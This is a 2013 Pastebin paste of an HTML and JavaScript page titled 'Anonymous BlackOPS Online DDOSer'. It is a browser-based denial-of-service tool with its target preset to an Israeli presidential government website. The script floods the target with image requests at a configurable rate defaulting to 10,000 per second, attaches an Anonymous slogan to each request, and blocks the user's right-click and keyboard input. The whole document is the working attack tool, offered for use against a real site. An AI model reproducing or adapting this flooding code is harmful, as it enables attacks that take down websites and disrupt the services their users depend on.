Guest User

Blackops

a guest
May 12th, 2013
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.00 KB | None | 0 0
  1. <html><head>
  2. <title>Anonymous BlackOPS Online DDOSer</title>
  3.  
  4.  
  5. <!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> -->
  6. </head>
  7. <body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'>
  8. <body style="background-color: white; color: rgb(255, 255, 255);">
  9. <div style="position: absolute; width: 100%; height: 100%;">
  10. <div style="width: 490px; height: 326px; position: absolute;"> <img alt="LOIC" src="http://i.imgur.com/ZA7Ge7v.png?1"> </div><font color="black" face="Arial">
  11. <div style="width: 240px; height: 100px; position: absolute; left: 500px;">
  12. <fieldset style="width: 100%; height: 100%;"> <legend>
  13. <p> <br>
  14. TARGET:</legend> <label>URL: <br>
  15. <input id="targetURL" style="width: 100%;" value="http://www.president.gov.il"></label><!-- disabled="true" -->
  16. <small></small> </fieldset>
  17. </div><div style="width: 240px; height: 100px; position: absolute; left: 500px;">
  18. <fieldset style="width: 100%; height: 100%;"> <legend>
  19. <p> </br>
  20. </legend> <label><br>
  21. <input id="targetURL" style="width: 100%;" value="http://www.president.gov.il"></label><!-- disabled="true" -->
  22. <small></small> </fieldset>
  23. </div><div style="width: 240px; height: 100px; position: absolute; left: 500px;">
  24. <fieldset style="width: 100%; height: 100%;"> <legend>
  25. <p> <br>
  26. </legend> <label><br>
  27. <input id="targetURL" style="width: 100%;" value="http://www.president.gov.il"></label><!-- disabled="true" -->
  28. <small></small> </fieldset>
  29. </div>
  30. <div style="width: 240px; height: 100px; position: absolute; left: 500px;">
  31. <fieldset style="width: 100%; height: 100%;"> <legend>
  32. <p> <br>
  33. </legend> <label><br>
  34. <input id="targetURL" style="width: 100%;" value="http://www.president.gov.il"></label><!-- disabled="true" -->
  35. <small></small> </fieldset>
  36. </div>
  37. <div style="width: 240px; height: 100px; position: absolute; left: 780px;">
  38. <fieldset style="width: 100%; height: 100%;"> <legend>Step 2. Ready?</legend>
  39. <button id="fireButton" style="border-color: rgb(255, 255, 255); background-color: black; color: rgb(255, 255, 255); width: 240px; height: 70px;">FIRE!</button> </fieldset>
  40. </div>
  41. <div style="width: 240px; height: 160px; position: absolute; left: 500px; top: 150px;">
  42. <fieldset style="width: 100%; height: 100%;"> <legend>OPTIONS</legend>
  43. <label>Requests per second : <input style="width: 40px;" id="rps" value="10000"></label><br>
  44. <label>Append message : <br>
  45. <input style="width: 100%;" id="message" value="We are Anonymous, We are Legion. We do not forgive. We do not forget. Expect us
  46. "></label>
  47. </fieldset>
  48. </div>
  49. <div style="width: 240px; height: 160px; position: absolute; left: 780px; top: 150px;">
  50. <fieldset style="width: 100%; height: 100%;"> <legend>LAUNCH STATUS:</legend>
  51. <dl>
  52. <dt>TOTAL LAUNCH:</dt>
  53. <dd id="requestedCtr">0</dd>
  54. <dt style="opacity: 0.5; color: green;">LAUNCH SUCCESS :</dt>
  55. <dd style="opacity: 0.5;" id="succeededCtr">0</dd>
  56. <dt style="opacity: 0.5; color: red;">LAUNCH FAILED :</dt>
  57. <dd style="opacity: 0.5;" id="failedCtr">0</dd>
  58. </dl>
  59. </fieldset>
  60. Credits to Anonymous Indonesia
  61. </div>
  62. </div>
  63.  
  64. <script>
  65. (function () {
  66. var fireInterval;
  67. var isFiring = false;
  68. var requestedCtrNode = document.getElementById("requestedCtr"),
  69. succeededCtrNode = document.getElementById("succeededCtr"),
  70. failedCtrNode = document.getElementById("failedCtr"),
  71. targetURLNode = document.getElementById("targetURL"),
  72. fireButton = document.getElementById("fireButton"),
  73. messageNode = document.getElementById("message"),
  74. rpsNode = document.getElementById("rps"),
  75. timeoutNode = document.getElementById("timeout");
  76. var targetURL = targetURLNode.value;
  77. targetURLNode.onchange = function () {
  78. targetURL = this.value;
  79. };
  80. var requestsHT = {}; // requests hash table, may come in handy later
  81. var requestedCtr = 0,
  82. succeededCtr = 0,
  83. failedCtr = 0;
  84. var makeHttpRequest = function () {
  85. if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  86. return;
  87. };
  88.  
  89. var rID =Number(new Date());
  90. var img = new Image();
  91. img.onerror = function () { onFail(rID); };
  92. img.onabort = function () { onFail(rID); };
  93. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  94.  
  95. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  96. requestsHT[rID] = img;
  97. onRequest(rID);
  98. };
  99.  
  100. var onRequest = function (rID) {
  101. requestedCtr++;
  102. requestedCtrNode.innerHTML = requestedCtr;
  103. };
  104.  
  105. var onComplete = function (rID) {
  106. delete requestsHT[rID];
  107. };
  108.  
  109. var onFail = function (rID) {
  110. // failedCtr++;
  111. //failedCtrNode.innerHTML = failedCtr;
  112.  
  113. succeededCtr++; //Seems like the url will always fail it it isn't an image
  114. succeededCtrNode.innerHTML = succeededCtr;
  115. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  116. };
  117.  
  118. var onSuccess = function (rID) {
  119. succeededCtr++;
  120. succeededCtrNode.innerHTML = succeededCtr;
  121. delete requestsHT[rID];
  122. };
  123.  
  124. fireButton.onclick = function () {
  125. if (isFiring) {
  126. clearInterval(fireInterval);
  127. isFiring = false;
  128. this.innerHTML = "STOP FIRING";
  129. } else {
  130. isFiring = true;
  131. this.innerHTML = "FIRING..";
  132.  
  133. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  134. }
  135. };
  136.  
  137. })();
  138.  
  139. isFiring = true;
  140. document.getElementById("fireButton").innerHTML = "START";
  141. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  142. </script>
  143. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment